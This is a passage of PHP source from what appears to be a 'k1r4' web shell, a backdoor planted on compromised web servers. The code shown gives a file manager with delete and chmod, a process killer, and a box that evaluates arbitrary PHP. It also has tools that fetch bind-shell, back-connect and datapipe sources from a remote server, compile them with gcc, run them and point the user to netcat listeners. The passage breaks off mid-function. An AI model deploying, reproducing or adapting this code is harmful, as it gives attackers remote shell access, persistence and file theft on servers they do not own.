  2004.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; k1r4exit();}
  2005.       else
  2006.       {
  2007.        $r[1] = round($r[1]);
  2008.        $isdir = is_dir($v);
  2009.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2010.        {
  2011.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2012.         $disppath = $r[2].$disppath.$r[3];
  2013.         if ($r[4]) {break;}
  2014.        }
  2015.       }
  2016.      }
  2017.     }
  2018.     $uo = urlencode($o);
  2019.     $ud = urlencode($dir);
  2020.     $uv = urlencode($v);
  2021.     $row = array();
  2022.     if ($o == ".")
  2023.     {
  2024.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2025.      $row[] = "LINK";
  2026.     }
  2027.     elseif ($o == "..")
  2028.     {
  2029.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2030.      $row[] = "LINK";
  2031.     }
  2032.     elseif (is_dir($v))
  2033.     {
  2034.      if (is_link($v))
  2035.      {
  2036.       $disppath .= " => ".readlink($v);
  2037.       $type = "LINK";
  2038.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2039.      }
  2040.      else
  2041.      {
  2042.       $type = "DIR";
  2043.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2044.       }
  2045.      $row[] = $type;
  2046.     }
  2047.     elseif(is_file($v))
  2048.     {
  2049.      $ext = explode(".",$o);
  2050.      $c = count($ext)-1;
  2051.      $ext = $ext[$c];
  2052.      $ext = strtolower($ext);
  2053.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2054.      $row[] = view_size($a[1]);
  2055.     }
  2056.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2057.     if (!$win) {$row[] = $a[3];}
  2058.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2059.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2060.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2061.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  2062.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  2063.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2064.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2065.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2066.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2067.     $i++;
  2068.    }
  2069.   }
  2070.   // Compiling table
  2071.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2072.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  2073.   foreach($table as $row)
  2074.   {
  2075.    echo "<tr>\r\n";
  2076.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2077.    echo "</tr>\r\n";
  2078.   }
  2079.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2080.   <script>
  2081.   function ls_setcheckboxall(status)
  2082.   {
  2083.    var id = 1;
  2084.    var num = ".(count($table)-2).";
  2085.    while (id <= num)
  2086.    {
  2087.     document.getElementById('actbox'+id).checked = status;
  2088.     id++;
  2089.    }
  2090.   }
  2091.   function ls_reverse_all()
  2092.   {
  2093.    var id = 1;
  2094.    var num = ".(count($table)-2).";
  2095.    while (id <= num)
  2096.    {
  2097.     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2098.     id++;
  2099.    }
  2100.   }
  2101.   </script>
  2102.   <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2103.   <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2104.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2105.   {
  2106.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2107.   }
  2108.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2109.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2110.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2111.   if ($usefsbuff)
  2112.   {
  2113.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2114.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2115.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2116.   }
  2117.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2118.   echo "</form>";
  2119.  }
  2120. }
  2121. if ($act == "tools")
  2122. {
  2123.  $bndportsrcs = array(
  2124.   "k1r4_bindport.pl"=>array("Using PERL","perl %path %port"),
  2125.   "k1r4_bindport.c"=>array("Using C","%path %port %pass")
  2126.  );
  2127.  $bcsrcs = array(
  2128.   "k1r4_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2129.   "k1r4_backconn.c"=>array("Using C","%path %host %port")
  2130.  );
  2131.  $dpsrcs = array(
  2132.   "k1r4_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  2133.   "k1r4_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  2134.  );
  2135.  if (!is_array($bind)) {$bind = array();}
  2136.  if (!is_array($bc)) {$bc = array();}
  2137.  if (!is_array($datapipe)) {$datapipe = array();}
  2138.  
  2139.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2140.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2141.  
  2142.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  2143.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  2144.  
  2145.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  2146.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  2147.  if (!empty($bindsubmit))
  2148.  {
  2149.   echo "<b>Result of binding port:</b><br>";
  2150.   $v = $bndportsrcs[$bind["src"]];
  2151.   if (empty($v)) {echo "Unknown file!<br>";}
  2152.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2153.   else
  2154.   {
  2155.    $w = explode(".",$bind["src"]);
  2156.    $ext = $w[count($w)-1];
  2157.    unset($w[count($w)-1]);
  2158.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2159.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2160.    if ($ext == "pl") {$binpath = $srcpath;}
  2161.    @unlink($srcpath);
  2162.    $fp = fopen($srcpath,"ab+");
  2163.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2164.    elseif (!$data = k1r4getsource($bind["src"])) {echo "Can't download sources!";}
  2165.    else
  2166.    {
  2167.     fwrite($fp,$data,strlen($data));
  2168.     fclose($fp);
  2169.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2170.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2171.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2172.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2173.     $v[1] = str_replace("//","/",$v[1]);
  2174.     $retbind = myshellexec($v[1]." > /dev/null &");
  2175.     sleep(5);
  2176.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2177.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2178.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2179.    }
  2180.    echo "<br>";
  2181.   }
  2182.  }
  2183.  if (!empty($bcsubmit))
  2184.  {
  2185.   echo "<b>Result of back connection:</b><br>";
  2186.   $v = $bcsrcs[$bc["src"]];
  2187.   if (empty($v)) {echo "Unknown file!<br>";}
  2188.   else
  2189.   {
  2190.    $w = explode(".",$bc["src"]);
  2191.    $ext = $w[count($w)-1];
  2192.    unset($w[count($w)-1]);
  2193.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2194.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2195.    if ($ext == "pl") {$binpath = $srcpath;}
  2196.    @unlink($srcpath);
  2197.    $fp = fopen($srcpath,"ab+");
  2198.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2199.    elseif (!$data = k1r4getsource($bc["src"])) {echo "Can't download sources!";}
  2200.    else
  2201.    {
  2202.     fwrite($fp,$data,strlen($data));
  2203.     fclose($fp);
  2204.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2205.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2206.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2207.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2208.     $v[1] = str_replace("//","/",$v[1]);
  2209.     $retbind = myshellexec($v[1]." > /dev/null &");
  2210.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  2211.    }
  2212.   }
  2213.  }
  2214.  if (!empty($dpsubmit))
  2215.  {
  2216.   echo "<b>Result of datapipe-running:</b><br>";
  2217.   $v = $dpsrcs[$datapipe["src"]];
  2218.   if (empty($v)) {echo "Unknown file!<br>";}
  2219.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2220.   else
  2221.   {
  2222.    $srcpath = $tmpdir.$datapipe["src"];
  2223.    $w = explode(".",$datapipe["src"]);
  2224.    $ext = $w[count($w)-1];
  2225.    unset($w[count($w)-1]);
  2226.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2227.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2228.    if ($ext == "pl") {$binpath = $srcpath;}
  2229.    @unlink($srcpath);
  2230.    $fp = fopen($srcpath,"ab+");
  2231.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2232.    elseif (!$data = k1r4getsource($datapipe["src"])) {echo "Can't download sources!";}
  2233.    else
  2234.    {
  2235.     fwrite($fp,$data,strlen($data));
  2236.     fclose($fp);
  2237.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2238.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  2239.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2240.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  2241.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  2242.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  2243.     $v[1] = str_replace("//","/",$v[1]);
  2244.     $retbind = myshellexec($v[1]." > /dev/null &");
  2245.     sleep(5);
  2246.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  2247.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  2248.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  2249.    }
  2250.    echo "<br>";
  2251.   }
  2252.  }
  2253.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2254.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2255.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  2256. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2257. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2258. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  2259. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  2260. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  2261. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2262. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  2263. }
  2264. if ($act == "processes")
  2265. {
  2266.  echo "<b>Processes:</b><br>";
  2267.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2268.  else {$handler = "tasklist";}
  2269.  $ret = myshellexec($handler);
  2270.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  2271.  else
  2272.  {
  2273.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2274.   $parsesort = parsesort($processes_sort);
  2275.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2276.   $k = $parsesort[0];
  2277.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2278.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2279.   $ret = htmlspecialchars($ret);
  2280.   if (!$win)
  2281.   {
  2282.    if ($pid)
  2283.    {
  2284.     if (is_null($sig)) {$sig = 9;}
  2285.     echo "Sending signal ".$sig." to #".$pid."... ";
  2286.     if (posix_kill($pid,$sig)) {echo "OK.";}
  2287.     else {echo "ERROR.";}
  2288.    }
  2289.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2290.    $stack = explode("\n",$ret);
  2291.    $head = explode(" ",$stack[0]);
  2292.    unset($stack[0]);
  2293.    for($i=0;$i<count($head);$i++)
  2294.    {
  2295.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2296.    }
  2297.    $prcs = array();
  2298.    foreach ($stack as $line)
  2299.    {
  2300.     if (!empty($line))
  2301. {
  2302.  echo "<tr>";
  2303.      $line = explode(" ",$line);
  2304.      $line[10] = join(" ",array_slice($line,10));
  2305.      $line = array_slice($line,0,11);
  2306.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2307.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2308.      $prcs[] = $line;
  2309.      echo "</tr>";
  2310.     }
  2311.    }
  2312.   }
  2313.   else
  2314.   {
  2315.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2316.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2317.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2318.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2319.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2320.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2321.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2322.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2323.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2324.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  2325.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2326.    $ret = convert_cyr_string($ret,"d","w");
  2327.    $stack = explode("\n",$ret);
  2328.    unset($stack[0],$stack[2]);
  2329.    $stack = array_values($stack);
  2330.    $head = explode("",$stack[0]);
  2331.    $head[1] = explode(" ",$head[1]);
  2332.    $head[1] = $head[1][0];
  2333.    $stack = array_slice($stack,1);
  2334.    unset($head[2]);
  2335.    $head = array_values($head);
  2336.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2337.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2338.    if ($k > count($head)) {$k = count($head)-1;}
  2339.    for($i=0;$i<count($head);$i++)
  2340.    {
  2341.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2342.    }
  2343.    $prcs = array();
  2344.    foreach ($stack as $line)
  2345.    {
  2346.     if (!empty($line))
  2347.     {
  2348.      echo "<tr>";
  2349.      $line = explode("",$line);
  2350.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2351.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  2352.      $prcs[] = $line;
  2353.      echo "</tr>";
  2354.     }
  2355.    }
  2356.   }
  2357.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  2358.   $v = $processes_sort[0];
  2359.   usort($prcs,"tabsort");
  2360.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2361.   $tab = array();
  2362.   $tab[] = $head;
  2363.   $tab = array_merge($tab,$prcs);
  2364.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2365.   foreach($tab as $i=>$k)
  2366.   {
  2367.    echo "<tr>";
  2368.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2369.    echo "</tr>";
  2370.   }
  2371.   echo "</table>";
  2372.  }
  2373. }
  2374. if ($act == "eval")
  2375. {
  2376.  if (!empty($eval))
  2377.  {
  2378.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2379.   $tmp = ob_get_contents();
  2380.   $olddir = realpath(".");
  2381.   @chdir($d);
  2382.   if ($tmp)
  2383.   {
  2384.    ob_clean();
  2385.    eval($eval);
  2386.    $ret = ob_get_contents();
  2387.    $ret = convert_cyr_string($ret,"d","w");
  2388.    ob_clean();
  2389.    echo $tmp;
  2390.    if ($eval_txt)
  2391.    {
  2392.     $rows = count(explode("\r\n",$ret))+1;
  2393.     if ($rows < 10) {$rows = 10;}
  2394.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2395.    }
  2396.    else {echo $ret."<br>";}
  2397.   }
  2398.   else
  2399.   {
  2400.    if ($eval_txt)
  2401.    {
  2402.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2403.     eval($eval);
  2404.     echo "</textarea>";
  2405.    }
  2406.    else {echo $ret;}
  2407.   }
  2408.   @chdir($olddir);
  2409.  }
  2410.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2411.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2412. }
  2413. if ($act == "f")
  2414. {
  2415.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2416.  {
  2417.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2418.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2419.  }
  2420.  else
  2421.  {
  2422.   $r = @file_get_contents($d.$f);
  2423.   $ext = explode(".",$f);
  2424.   $c = count($ext)-1;
  2425.   $ext = $ext[$c];
  2426.   $ext = strtolower($ext);
  2427.   $rft = "";
  2428.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2429.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2430.   if (empty($ft)) {$ft = $rft;}
  2431.   $arr = array(
  2432.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2433.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2434.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2435.    array("Code","code"),
  2436.    array("Session","phpsess"),
  2437.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2438.    array("SDB","sdb"),
  2439.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2440.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2441.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2442.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2443.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2444.   );
  2445.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2446.   foreach($arr as $t)
  2447.   {
  2448.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2449.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2450.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2451.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2452.   }
  2453.   echo "<hr size=\"1\" noshade>";
  2454.   if ($ft == "info")
  2455.   {
  2456.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2457.    if (!$win)
  2458.    {
  2459.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  2460.     $ow = posix_getpwuid(fileowner($d.$f));
  2461.     $gr = posix_getgrgid(filegroup($d.$f));
  2462.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2463.    }
  2464.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2465.    $fi = fopen($d.$f,"rb");
  2466.    if ($fi)
  2467.    {
  2468.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2469.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2470.     $n = 0;
  2471.     $a0 = "00000000<br>";
  2472.     $a1 = "";
  2473.     $a2 = "";
  2474.     for ($i=0; $i<strlen($str); $i++)
  2475.     {
  2476.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2477.      switch (ord($str[$i]))
  2478.      {
  2479.       case 0:  $a2 .= "<font>0</font>"; break;
  2480.       case 32:
  2481.       case 10:
  2482.       case 13: $a2 .= "&nbsp;"; break;
  2483.       default: $a2 .= htmlspecialchars($str[$i]);
  2484.      }
  2485.      $n++;
  2486.      if ($n == $hexdump_rows)
  2487.      {
  2488.       $n = 0;
  2489.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2490.       $a1 .= "<br>";
  2491.       $a2 .= "<br>";
  2492.      }
  2493.     }
  2494.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2495.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2496.    }
  2497.    $encoded = "";
  2498.    if ($base64 == 1)
  2499.    {
  2500.     echo "<b>Base64 Encode</b><br>";
  2501.     $encoded = base64_encode(file_get_contents($d.$f));
  2502.    }
  2503.    elseif($base64 == 2)
  2504.    {
  2505.     echo "<b>Base64 Encode + Chunk</b><br>";
  2506.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2507.    }
  2508.    elseif($base64 == 3)
  2509.    {
